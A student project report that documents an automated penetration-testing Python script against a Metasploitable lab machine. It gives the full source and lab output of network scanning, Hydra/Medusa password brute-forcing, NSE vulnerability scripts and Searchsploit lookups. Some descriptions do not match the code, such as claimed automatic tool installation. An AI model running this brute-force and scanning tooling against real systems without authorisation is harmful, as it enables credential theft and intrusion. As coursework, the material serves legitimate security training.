

Project: Vulner - Script Functions

Name: Benedict Kam

Student Code: s5

Trainer: Samson

▼ Table of Contents

1. Introduction
 2. Privilege Check
 3. Script Validation: Dependencies
 4. User Prompt
 5. Basic Scan
 6. Masscan
 7. Brute-force Check
 8. NSE Vulnerability Scan (Full Scan only)
 9. Exploit Mapping (Searchsploit)
 10. Keyword Searching & Archiving
 11. Summary
 12. Source Code
-

▼ 1. Introduction

This script is designed as an automated **penetration testing utility** to assist ethical hackers and cybersecurity students in performing **network vulnerability scans** and **weak credential testing**. It consolidates several industry-standard tools—such as **Nmap**, **Masscan**, **Hydra**, **Medusa**, and **Searchsploit**—into a single, user-friendly Python script that guides the user through:

- Host discovery

- Port and service enumeration
- Brute-force login testing on common services (e.g., SSH, FTP, Telnet)
- Vulnerability script scanning via NSE
- Exploit matching using the Exploit-DB database

▼ 2. Privilege Check

- Ensures the script is run with `sudo` permissions.
- Exits immediately if not run as root.

Code Snippet:

```
if os.geteuid() != 0:
    print("This script must be run with sudo/root privileges.")
    sys.exit(1)
```

Screenshot: Terminal showing the message: "[!] This script requires sudo privileges. Exiting." when run without sudo

Script blocks execution when not run with required privileges.

```
(basicUser@kali)-[~]
$ python3 pentest.py
[!] This script must be run with sudo/root privileges.
Try again using: sudo python3 pentest.py
```

Script proceeds once sudo privilege is used

```
(kali@kali)-[~/Desktop/PenTest/Project_Vuln]
$ sudo python3 pentest.py
Enter the network range to scan (e.g., 192.168.1.0/24):
```

▼ 3. Script Validation: Dependencies

Before running attacks, the script checks for required tools and installs them if they are missing. This ensures consistency and minimizes setup errors for users.

Tools Checked:

- `nmap` – for network discovery
- `hydra` / `medusa` – for brute-force attacks
- `hping3` – for SYN flood
- `curl` – for downloading wordlists

Code Snippet:

```
# ----- DEPENDENCY CHECK -----  
  
def check_dependencies():  
    # Define list of required external tools  
    tools = ["nmap", "hydra", "searchsploit", "masscan", "medusa"]  
    missing = []  
    for tool in tools:  
        # Check if tool is available in the system  
        if shutil.which(tool) is None:  
            missing.append(tool)  
  
    if missing:  
        print("[!] Missing required tools:", ", ".join(missing))  
        print("[*] Please install them before proceeding.")  
        exit(1)
```

Caption: Script detects missing tools and installs them automatically.

```
(kali@kali)-[~/Desktop/PenTest/Project_Vuln]  
$ sudo python3 pentest.py  
[!] Missing required tools: hydra  
[*] Please install them before proceeding.
```

▼ 4. User Prompt

Prompts the user for:

- Network range (e.g., `192.168.1.0/24`)
 - Output directory name
 - Scan type: `Basic` or `Full`
 - Optional use of `masscan`
 - Custom or default username/password lists
- ↪ If not present, auto-downloads from GitHub.

```
(kali@kali)-[~/Desktop/PenTest/Project_Vuln]
$ sudo python3 pentest.py
Enter the network range to scan (e.g., 192.168.1.0/24): 192.168.182.131
Enter full directory path where results will be saved: .
Enter a name for the output directory: Basic
Choose scan type (Basic/Full): Basic
Do you want to run Masscan for fast discovery? (yes/no): no
Path to custom username list (or press Enter to use default):
Path to custom password list (or press Enter to use default):
```

▼ 5. Basic Scan

```
# ----- BASIC SCAN -----

def basic_scan(network, output_dir, ports=None):
    print("[*] Running Nmap TCP/UDP scan with service version detection...")
    out_file = f"{output_dir}/basic_scan.txt"
    cmd = ["nmap", "-sV", "-oN", out_file] # Use -sV to detect service versions
    if ports:
        port_str = ",".join(ports)
        cmd += ["-p", port_str] # Limit scan to discovered ports
    cmd.append(network)
    subprocess.run(cmd)
    return out_file
```

Screenshot 1: Terminal output showing Nmap scan performed

Caption: Nmap scan initiated after user prompts

```
[*] Running Nmap TCP/UDP scan with service version detection ...
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-08 13:14 EDT
Nmap scan report for msf1 (192.168.182.131)
Host is up (0.0018s latency).
Not shown: 978 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login        OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:EA:C7:9D (VMware)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
```

▼ 6. Masscan

```
# ----- MASSCAN -----

def run_masscan(network, output_dir):
    # Use Masscan to discover open ports quickly
    print("[*] Running Masscan to quickly discover open ports...")
    masscan_output = os.path.join(output_dir, "masscan_output.txt")
    subprocess.run([
        "masscan", network, "-p1-65535", "--rate", "10000", "-oL", masscan_output
    ])

    # Extract open ports from Masscan output
    ports = set()
    with open(masscan_output, 'r') as f:
        for line in f:
            match = re.search(r'port (\d+)/', line)
            if match:
                ports.add(match.group(1))

    return sorted(list(ports)) # Return sorted list of open ports
```

Screenshot 1: Terminal output of FTP brute-force process

Caption: Masscan starts when "yes" is chosen in user prompt

```
Do you want to run Masscan for fast discovery? (yes/no): yes
Path to custom username list (or press Enter to use default):
Path to custom password list (or press Enter to use default):
[*] Running Masscan to quickly discover open ports ...
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2025-07-08 17:13:23 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Rate: 9.97-kpps, 59.04% done, 0:00:05 remaining, found=13
```

▼ 7. Brute-force Check

```
# ----- BRUTE-FORCE -----

def check_weak_passwords(nmap_output, output_dir, username_list, password_list, stop_on_success=True):
    # Dictionary mapping services to their standard ports
    services = {
        "ssh": 22,
        "ftp": 21,
        "rdp": 3389,
        "telnet": 23
    }

    print("[*] Extracting live hosts from Nmap output...")
    live_hosts = []
    with open(nmap_output, 'r') as file:
        for line in file:
            if line.startswith("Nmap scan report for"):
                # Check if IP is inside parentheses, else fallback to last part of line
                match = re.search(r'\(([\\d.]+)\\)', line)
                if match:
                    ip = match.group(1)
                else:
                    ip = line.strip().split()[-1]
```

```

        live_hosts.append(ip)

if not live_hosts:
    print("[-] No live hosts found for brute-force testing.")
    return

print("[*] Running brute-force tests for weak passwords...")
for host in live_hosts:
    for service, port in services.items():
        output_file = os.path.join(output_dir, f"{host}_{service}_hydra.txt")

        print(f"[*] Testing {service.upper()} on {host}:{port}...")

        # Use Medusa for SSH, and Hydra for other services
        if service == "ssh":
            subprocess.run([
                "medusa", "-U", username_list, "-P", password_list,
                "-h", host, "-M", "ssh", "-n", str(port), "-f", "-O", output_file
            ])
        else:
            subprocess.run([
                "hydra", "-L", username_list, "-P", password_list,
                f"{host}", service, "-s", str(port), "-o", output_file
            ])

        # If stop_on_success is enabled, break on first found credentials
        if stop_on_success:
            with open(output_file, 'r') as f:
                for line in f:
                    if "login:" in line.lower() and "password:" in line.lower():
                        print(f"[+] Valid credentials found in {output_file}. Stop
ping further brute-force attempts.")
                        return

```

Screenshot 1: Brute Force attempt

Caption: Medusa and Hydra brute force attempts

```
[*] Running brute-force tests for weak passwords ...
[*] Testing SSH on 192.168.182.131:22 ...
Medusa v2.3_rc1 [http://www.fooofus.net] (c) JoMo-Kun / Fooofus Networks <jmk@fooofus.net>

2025-07-08 13:14:45 ACCOUNT CHECK: [ssh] Host: 192.168.182.131 (1 of 1, 0 complete) User: msfadmin (1 of 12, 0 complete) Password: msfadmin (1 of 11 complete)
2025-07-08 13:14:45 ACCOUNT FOUND: [ssh] Host: 192.168.182.131 User: msfadmin Password: msfadmin [SUCCESS]
[*] Testing FTP on 192.168.182.131:21 ...
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is not binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-08 13:14:45
[DATA] max 16 tasks per 1 server, overall 16 tasks, 132 login tries (l:12/p:11), ~9 tries per task
[DATA] attacking ftp://192.168.182.131:21/
[21][ftp] host: 192.168.182.131 login: msfadmin password: msfadmin
```

▼ 8. NSE Vulnerability Scan (Full Scan only)

```
# ----- NSE SCRIPT SCAN -----

def run_targeted_nse(network, services, output_dir):
    print("[*] Running hand-picked NSE scripts for vulnerability assessment...")

    # Predefined list of services with relevant NSE scripts
    nse_scripts = {
        "ftp": ["ftp-anon", "ftp-vsftpd-backdoor"],
        "ssh": ["ssh-auth-methods", "ssh-brute"],
        "http": ["http-enum", "http-vuln-cve2017-5638"],
        "smb": ["smb-vuln-ms17-010", "smb-enum-users"],
        "mysql": ["mysql-empty-password", "mysql-vuln-cve2012-2122"],
        "telnet": ["telnet-ntlm-info", "telnet-brute"]
    }

    # Determine which scripts to run based on detected services
    selected_scripts = []
    for svc in services:
        if svc in nse_scripts:
            selected_scripts.extend(nse_scripts[svc])

    if selected_scripts:
        scripts_str = ",".join(selected_scripts)
        output_path = os.path.join(output_dir, "nse_vuln_results.txt")
        # Run Nmap with the selected NSE scripts and a timeout
        subprocess.run([
            "nmap", "-T4", "-sV", f"--script={scripts_str}", "--script-timeout=10s", "-oN", output_path, network
```



```

    ])
else:
    print("[-] No target services found for NSE vuln scan.")

```

Screenshot 1: NSE Vulnerability Scan running

Caption: NSE script ssh-brute running - Set timeout to 10s for testing purposes

```

[*] Running hand-picked NSE scripts for vulnerability assessment ...
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-08 13:22 EDT
NSE: [ssh-brute] Trying username/password pair: root:root
NSE: [ssh-brute] Trying username/password pair: admin:admin
NSE: [ssh-brute] Trying username/password pair: administrator:administrator
NSE: [ssh-brute] Trying username/password pair: webadmin:webadmin
NSE: [ssh-brute] Trying username/password pair: sysadmin:sysadmin
NSE: [ssh-brute] Trying username/password pair: netadmin:netadmin
NSE: [ssh-brute] Trying username/password pair: guest:guest
NSE: [ssh-brute] Trying username/password pair: user:user
NSE: [ssh-brute] Trying username/password pair: web:web
NSE: [ssh-brute] Trying username/password pair: test:test
NSE: [ssh-brute] Trying username/password pair: root:
NSE: [ssh-brute] Trying username/password pair: admin:
NSE: [ssh-brute] Trying username/password pair: administrator:
NSE: [ssh-brute] Trying username/password pair: webadmin:
Nmap scan report for msf1 (192.168.182.131)
Host is up (0.0047s latency)

```

▼ 🔍 9. Exploit Mapping (Searchsploit)

```

# ----- SEARCHSPLOIT -----

def run_searchsploit(nmap_output_path, output_dir):
    print("[*] Running Searchsploit for vulnerability lookup...")
    result_path = os.path.join(output_dir, "searchsploit_results.txt")

    with open(nmap_output_path, "r") as file:
        lines = file.readlines()

    with open(result_path, "w") as out:
        for line in lines:
            if "/tcp" in line or "/udp" in line:
                parts = line.strip().split()
                if len(parts) > 2:
                    service = parts[2]

```

```

try:
    # Run Searchsploit and write clean (color-free) output
    result = subprocess.run(
        ["searchsploit", "--disablecolor", service],
        stdout=subprocess.PIPE,
        stderr=subprocess.DEVNULL,
        text=True
    )
    out.write(result.stdout)
except:
    pass

```

Screenshot 1: Results of searchsploit ran on target's available services

Caption: Results saved into a txt file

Exploit Title	Path
(Gabriel's FTP Server) Open & Compact FTP Server 1.2 - 'PORT' Remote Denial of Service	windows/dos/12698.py
(Gabriel's FTP Server) Open & Compact FTP Server 1.2 - Authentication Bypass / Directory Traversal SAM Retrieval	windows/remote/27481.py
(Gabriel's FTP Server) Open & Compact FTP Server 1.2 - Full System Access	windows/remote/13932.py
(Gabriel's FTP Server) Open & Compact FTP Server 1.2 - Universal Denial of Service	windows/dos/12741.py
(Gabriel's FTP Server) Open & Compact FTPd 1.2 - Buffer Overflow (Metasploit)	windows/remote/11742.rb
(Gabriel's FTP Server) Open & Compact FTPd 1.2 - Crash (PoC)	windows/dos/11391.py
(Gabriel's FTP Server) Open & Compact FTPd 1.2 - Remote Overflow	windows/remote/11420.py
2X ThinClientServer 5.0 spl-r3497 TFTP Service - Directory Traversal	windows/remote/31562.txt
32bit FTP (09.04.24) - 'Banner' Remote Buffer Overflow	windows_x86/remote/8614.py
32bit FTP (09.04.24) - 'Banner' Remote Buffer Overflow (PoC)	windows_x86/dos/8611.pl
32bit FTP (09.04.24) - 'CWD Response' Remote Buffer Overflow	windows_x86/remote/8613.py
32bit FTP (09.04.24) - 'CWD Response' Universal Overwrite (SEH)	windows_x86/remote/8621.py
32bit FTP - 'PASV' Reply Client Remote Overflow (Metasploit)	windows_x86/remote/8623.rb
32bit FTP Client - Remote Stack Buffer Overflow (Metasploit)	windows_x86/remote/16743.rb
3Com 3CDaemon 2.0 FTP Server - 'Username' Remote Overflow (Metasploit)	windows/remote/16730.rb
3Com 3CDaemon FTP - Unauthorized 'USER' Remote Buffer Overflow	windows/remote/827.c
3Com FTP Server 2.0 - Remote Overflow	windows/remote/825.c
3Com SuperStack 3 NBX 4.0/4.1 - FTDP Denial of Service	hardware/dos/22860.txt
3Com TFTP Service (3CTftpSvc) - 'Mode' Remote Buffer Overflow (Metasploit)	windows/remote/16347.rb
3Com TFTP Service (3CTftpSvc) 2.0.1 - 'Long Transporting Mode' Overflow (PoC)	windows/dos/2855.py
3Com TFTP Service (3CTftpSvc) 2.0.1 - 'Long Transporting Mode' Remote Overflow	windows/remote/2865.rb
3Com TFTP Service (3CTftpSvc) 2.0.1 - Long Transporting Mode	windows/remote/3388.pl
3Com TFTP Service (3CTftpSvc) 2.0.1 - Remote Buffer Overflow (Metasploit)	windows/remote/3170.pm

▼ 10. Keyword Search & Archiving

```

# ----- ZIP RESULTS -----

def zip_results(output_dir):
    # Zip the entire output directory
    zipf = zipfile.ZipFile(f"{output_dir}.zip", 'w', zipfile.ZIP_DEFLATED)
    for root, _, files in os.walk(output_dir):
        for file in files:
            filepath = os.path.join(root, file)
            arcname = os.path.relpath(filepath, output_dir)
            zipf.write(filepath, arcname)
    zipf.close()

```

```

print(f"[*] Results zipped into: {output_dir}.zip")

# ----- SEARCH LOG -----

def search_results(output_dir):
    # Let user enter a keyword to search across all result files
    keyword = input("Enter keyword to search inside result files: ").strip()
    print(f"[*] Searching results...")
    for root, _, files in os.walk(output_dir):
        for file in files:
            filepath = os.path.join(root, file)
            with open(filepath, 'r', errors='ignore') as f:
                for i, line in enumerate(f, start=1):
                    if keyword.lower() in line.lower():
                        print(f"[+] Match in {filepath} (Line {i}): {line.strip()}")

```

Screenshot 1: Search for “found” after scan, returns locations of results found. (Works like GREP)

Caption: Results after searching for keywords

```

Enter keyword to search inside result files: found
[*] Searching results...
[+] Match in ./bas_20250708_132112/searchsploit_results.txt (Line 1830): Sami HTTP Server 2.0.1 - HTTP 404 Object not found Denial of Service
    | windows/dos/3182.py
[+] Match in ./bas_20250708_132112/searchsploit_results.txt (Line 9097): Sami HTTP Server 2.0.1 - HTTP 404 Object not found Denial of Service
    | windows/dos/3182.py
[+] Match in ./bas_20250708_132112/192.168.182.131_ssh_hydra.txt (Line 3): 2025-07-08 13:22:00 ACCOUNT FOUND: [ssh] Host: 192.168.182.131 User: msfadmin Pass
word: msfadmin [SUCCESS]
[*] Results zipped into: ./bas_20250708_132112.zip
[✓] Scan Complete. Results saved in: ./bas_20250708_132112

```

▼ 11. Summary

The Python script performs the following operations step-by-step:

1. **Checks for sudo privileges** and required tools before proceeding.
2. **Takes user input** for the network, scan type, and wordlists, with optional Masscan integration for faster scanning.
3. **Performs host and port scanning** using Nmap (and optionally Masscan).
4. **Runs brute-force tests** against SSH (using Medusa), and FTP, RDP, Telnet (using Hydra), using either custom or auto-downloaded username/password lists.

5. **Performs vulnerability detection** using selected NSE scripts tailored to discovered services.
6. **Runs Searchsploit** to find potential known exploits for identified services.
7. **Provides a search feature** to look for keywords inside all result files.
8. **Archives all outputs** into a zipped results folder for easy collection or reporting.

The entire process is **automated**, **interactive**, and designed for quick testing environments, with optional performance tweaks like **early exit on credential discovery** and **script timeouts** for NSE scans.

▼ Source Code

```
#!/usr/bin/env python3

# Student Name: Benedict Kam
# Student Code: S5

# Import necessary Python modules
import os # For interacting with the operating system
import subprocess # For executing external system commands
import zipfile # To compress result files
from datetime import datetime # For generating timestamps
import ipaddress # To validate network input
import urllib.request # To download files from URLs
import shutil # To check if a tool exists in the system path
import re # For pattern matching using regular expressions
import sys # To handle system-level operations like exiting

# ----- PRIVILEGE CHECK -----

def check_root():
    # Ensure the script is run with root privileges
    if os.geteuid() != 0:
        print("[!] This script must be run with sudo/root privileges.")
        print(" Try again using: sudo python3 pentest.py")
```

```

        sys.exit(1)

# ----- DEPENDENCY CHECK -----

def check_dependencies():
    # List of tools the script depends on
    tools = ["nmap", "hydra", "searchsploit", "masscan", "medusa"]
    missing = []
    for tool in tools:
        if shutil.which(tool) is None:
            missing.append(tool)

    # Exit if any required tool is missing
    if missing:
        print("[!] Missing required tools:", ", ".join(missing))
        print("[*] Please install them before proceeding.")
        exit(1)

# Default wordlist filenames
DEFAULT_USERNAME_LIST = "usernames.txt"
DEFAULT_PASSWORD_LIST = "passwords.txt"

# URLs to download default wordlists if not present
DEFAULT_PASSWORD_URL = "https://raw.githubusercontent.com/scesti
a/Password_List/main/xato1000.txt"
DEFAULT_USERNAME_URL = "https://raw.githubusercontent.com/scesti
a/Password_List/main/top-usernames-shortlist.txt"

# ----- VALIDATION -----

def validate_network(network):
    # Check if the entered network format is valid (CIDR notation)
    try:
        ipaddress.ip_network(network)
        return True
    except ValueError:
        return False

```

```

# ----- USER INPUT -----

def get_user_input():
    # Prompt user for target network to scan
    while True:
        network = input("Enter the network range to scan (e.g., 192.168.1.0/24): ").strip()
        if validate_network(network):
            break
        print("Invalid network format.")

    # Prompt for result directory path and create if missing
    base_path = input("Enter full directory path where results will be saved: ").strip()
    if not os.path.exists(base_path):
        os.makedirs(base_path)

    # Ask for output subdirectory name
    output_dir_name = input("Enter a name for the output directory: ").strip()
    output_dir_name = output_dir_name.replace(" ", "_")
    output_dir = os.path.join(base_path, output_dir_name)

    # Let user choose between basic or full scan
    scan_type = input("Choose scan type (Basic/Full): ").strip().lower()
    while scan_type not in ['basic', 'full']:
        scan_type = input("Invalid choice. Choose scan type (Basic/Full): ").strip().lower()

    # Ask if Masscan should be run
    use_masscan = input("Do you want to run Masscan for fast discovery? (yes/no): ").strip().lower() == "yes"

    # Ask for username list path or use default
    username_list = input("Path to custom username list (or press Enter to use default): ").strip()
    if not username_list or not os.path.exists(username_list):
        username_list = DEFAULT_USERNAME_LIST
    if not os.path.exists(username_list):

```

```

        print(f"[*] Default username list not found. Downloading from {D
EFAULT_USERNAME_URL}...")
        try:
            urllib.request.urlretrieve(DEFAULT_USERNAME_URL, DEFAULT_
USERNAME_LIST)
            print("[+] Default username list downloaded successfully.")
        except Exception as e:
            print(f"[!] Failed to download default username list: {e}")
            exit(1)

# Ask for password list path or use default
password_list = input("Path to custom password list (or press Enter to
use default): ").strip()
if not password_list or not os.path.exists(password_list):
    password_list = DEFAULT_PASSWORD_LIST
    if not os.path.exists(password_list):
        print(f"[*] Default password list not found. Downloading from {D
EFAULT_PASSWORD_URL}...")
        try:
            urllib.request.urlretrieve(DEFAULT_PASSWORD_URL, DEFAULT
_PASSWORD_LIST)
            print("[+] Default password list downloaded successfully.")
        except Exception as e:
            print(f"[!] Failed to download default password list: {e}")
            exit(1)

    return network, output_dir, scan_type, username_list, password_list, u
se_masscan

# ----- SETUP -----

def setup_directory(base_path):
    # Create a subdirectory with timestamp for storing results
    timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
    full_path = f"{base_path}_{timestamp}"
    os.makedirs(full_path, exist_ok=True)
    return full_path

```

```

# ----- BASIC SCAN -----

def basic_scan(network, output_dir, ports=None):
    print("[*] Running Nmap TCP/UDP scan with service version detectio
n...")
    out_file = f"{output_dir}/basic_scan.txt"
    cmd = ["nmap", "-sV", "-oN", out_file] # Use -sV to detect service ver
sions
    if ports:
        port_str = ",".join(ports)
        cmd += ["-p", port_str] # Limit scan to discovered ports
    cmd.append(network)
    subprocess.run(cmd)
    return out_file

# ----- MASSCAN -----

def run_masscan(network, output_dir):
    # Use Masscan to discover open ports quickly
    print("[*] Running Masscan to quickly discover open ports...")
    masscan_output = os.path.join(output_dir, "masscan_output.txt")
    subprocess.run([
        "masscan", network, "-p1-65535", "--rate", "10000", "-oL", massca
n_output
    ])

    # Extract open ports from Masscan output
    ports = set()
    with open(masscan_output, 'r') as f:
        for line in f:
            match = re.search(r'port (\d+)/', line)
            if match:
                ports.add(match.group(1))

    return sorted(list(ports)) # Return sorted list of open ports

# ----- BRUTE-FORCE -----

```



```

def check_weak_passwords(nmap_output, output_dir, username_list, password_list, stop_on_success=True):
    # Dictionary mapping services to their standard ports
    services = {
        "ssh": 22,
        "ftp": 21,
        "rdp": 3389,
        "telnet": 23
    }

    print("[*] Extracting live hosts from Nmap output...")
    live_hosts = []
    with open(nmap_output, 'r') as file:
        for line in file:
            if line.startswith("Nmap scan report for"):
                # Check if IP is inside parentheses, else fallback to last part of line
                match = re.search(r'\(([d.]+\))', line)
                if match:
                    ip = match.group(1)
                else:
                    ip = line.strip().split()[-1]
                live_hosts.append(ip)

    if not live_hosts:
        print("[-] No live hosts found for brute-force testing.")
        return

    print("[*] Running brute-force tests for weak passwords...")
    for host in live_hosts:
        for service, port in services.items():
            output_file = os.path.join(output_dir, f"{host}_{service}_hydra.txt")

            print(f"[*] Testing {service.upper()} on {host}:{port}...")

            # Use Medusa for SSH, and Hydra for other services
            if service == "ssh":
                subprocess.run([

```

```

        "medusa", "-U", username_list, "-P", password_list,
        "-h", host, "-M", "ssh", "-n", str(port), "-f", "-O", output_file
    ])
else:
    subprocess.run([
        "hydra", "-L", username_list, "-P", password_list,
        f"{host}", service, "-s", str(port), "-o", output_file
    ])

# If stop_on_success is enabled, break on first found credentials
if stop_on_success:
    with open(output_file, 'r') as f:
        for line in f:
            if "login:" in line.lower() and "password:" in line.lower():
                print(f"[+] Valid credentials found in {output_file}. Stop
ping further brute-force attempts.")
                return

# ----- SERVICE PARSING -----

def detect_services(nmap_output_path):
    # Parse Nmap output to extract discovered service names (e.g., ssh, f
tp)
    services = set()
    with open(nmap_output_path, 'r') as file:
        for line in file:
            if "/tcp" in line or "/udp" in line:
                parts = line.strip().split()
                if len(parts) > 2:
                    services.add(parts[2].lower())
    return services

# ----- NSE SCRIPT SCAN -----

def run_targeted_nse(network, services, output_dir):
    print("[*] Running hand-picked NSE scripts for vulnerability assessme
nt...")

```

```

# Predefined list of services with relevant NSE scripts
nse_scripts = {
    "ftp": ["ftp-anon", "ftp-vsftpd-backdoor"],
    "ssh": ["ssh-auth-methods", "ssh-brute"],
    "http": ["http-enum", "http-vuln-cve2017-5638"],
    "smb": ["smb-vuln-ms17-010", "smb-enum-users"],
    "mysql": ["mysql-empty-password", "mysql-vuln-cve2012-2122"],
    "telnet": ["telnet-ntlm-info", "telnet-brute"]
}

# Determine which scripts to run based on detected services
selected_scripts = []
for svc in services:
    if svc in nse_scripts:
        selected_scripts.extend(nse_scripts[svc])

if selected_scripts:
    scripts_str = ",".join(selected_scripts)
    output_path = os.path.join(output_dir, "nse_vuln_results.txt")
    # Run Nmap with the selected NSE scripts and a timeout
    subprocess.run([
        "nmap", "-T4", "-sV", f"--script={scripts_str}", "--script-timeout=
10s", "-oN", output_path, network
    ])
else:
    print("[-] No target services found for NSE vuln scan.")

# ----- SEARCHSPLOIT -----

def run_searchsploit(nmap_output_path, output_dir):
    print("[*] Running Searchsploit for vulnerability lookup...")
    result_path = os.path.join(output_dir, "searchsploit_results.txt")

    with open(nmap_output_path, "r") as file:
        lines = file.readlines()

    with open(result_path, "w") as out:
        for line in lines:

```

```

    if "/tcp" in line or "/udp" in line:
        parts = line.strip().split()
        if len(parts) > 2:
            service = parts[2]
            try:
                # Run Searchsploit and write clean (color-free) output
                result = subprocess.run(
                    ["searchsploit", "--disablecolor", service],
                    stdout=subprocess.PIPE,
                    stderr=subprocess.DEVNULL,
                    text=True
                )
                out.write(result.stdout)
            except:
                pass

# ----- ZIP RESULTS -----

def zip_results(output_dir):
    # Zip the entire output directory
    zipf = zipfile.ZipFile(f"{output_dir}.zip", 'w', zipfile.ZIP_DEFLATED)
    for root, _, files in os.walk(output_dir):
        for file in files:
            filepath = os.path.join(root, file)
            arcname = os.path.relpath(filepath, output_dir)
            zipf.write(filepath, arcname)
    zipf.close()
    print(f"[*] Results zipped into: {output_dir}.zip")

# ----- SEARCH LOG -----

def search_results(output_dir):
    # Let user enter a keyword to search across all result files
    keyword = input("Enter keyword to search inside result files: ").strip()
    print(f"[*] Searching results...")
    for root, _, files in os.walk(output_dir):
        for file in files:
            filepath = os.path.join(root, file)

```

```

        with open(filepath, 'r', errors='ignore') as f:
            for i, line in enumerate(f, start=1):
                if keyword.lower() in line.lower():
                    print(f"[+] Match in {filepath} (Line {i}): {line.strip()}")

# ----- MAIN -----

def main():
    check_root() # Make sure script is run as root
    check_dependencies() # Check if all required tools are installed

    # Gather user input
    network, output_dir, scan_type, username_list, password_list, use_ma
sscan = get_user_input()
    output_dir = setup_directory(output_dir)

    # Optional fast scanning with Masscan
    ports = run_masscan(network, output_dir) if use_masscan else None

    # Run Nmap scan and brute-force checks
    nmap_output = basic_scan(network, output_dir, ports)
    check_weak_passwords(nmap_output, output_dir, username_list, pas
sword_list, stop_on_success=True)

    # If full scan selected, run vulnerability checks and exploit mapping
    if scan_type == "full":
        services = detect_services(nmap_output)
        run_targeted_nse(network, services, output_dir)
        run_searchsploit(nmap_output, output_dir)

    # Let user search results and archive everything
    search_results(output_dir)
    zip_results(output_dir)
    print(f"\n[✓] Scan Complete. Results saved in: {output_dir}")

# ----- RUN SCRIPT -----

```

```
if __name__ == "__main__":  
    main()
```